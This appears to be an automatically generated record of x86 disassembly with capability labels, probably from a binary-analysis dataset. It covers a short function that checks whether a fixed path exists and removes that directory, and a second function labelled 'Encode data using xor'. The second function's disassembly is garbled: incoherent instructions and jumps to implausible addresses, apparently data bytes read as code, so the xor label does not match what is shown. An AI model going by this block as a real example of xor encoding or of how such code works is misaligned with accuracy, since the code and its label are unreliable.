mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x100028bd
Capabilities:
Encode data using xor

Disassembly:
call 0xff914f7c
mov al, byte [0xf8e975ce]
cld
and eax, 0x28e5817e
add eax, 0x18c2faa4
adc dword [ecx - 0x5dae9faf], esi
pop ecx
mov ecx, 0xe296fb81
xor al, 0x72
mov cl, 0xd2
dec ebx
push ebx
jge 0x100028de
push cs
or dword [edx], esi
jmp dword [ebp + 0x175cf6ba]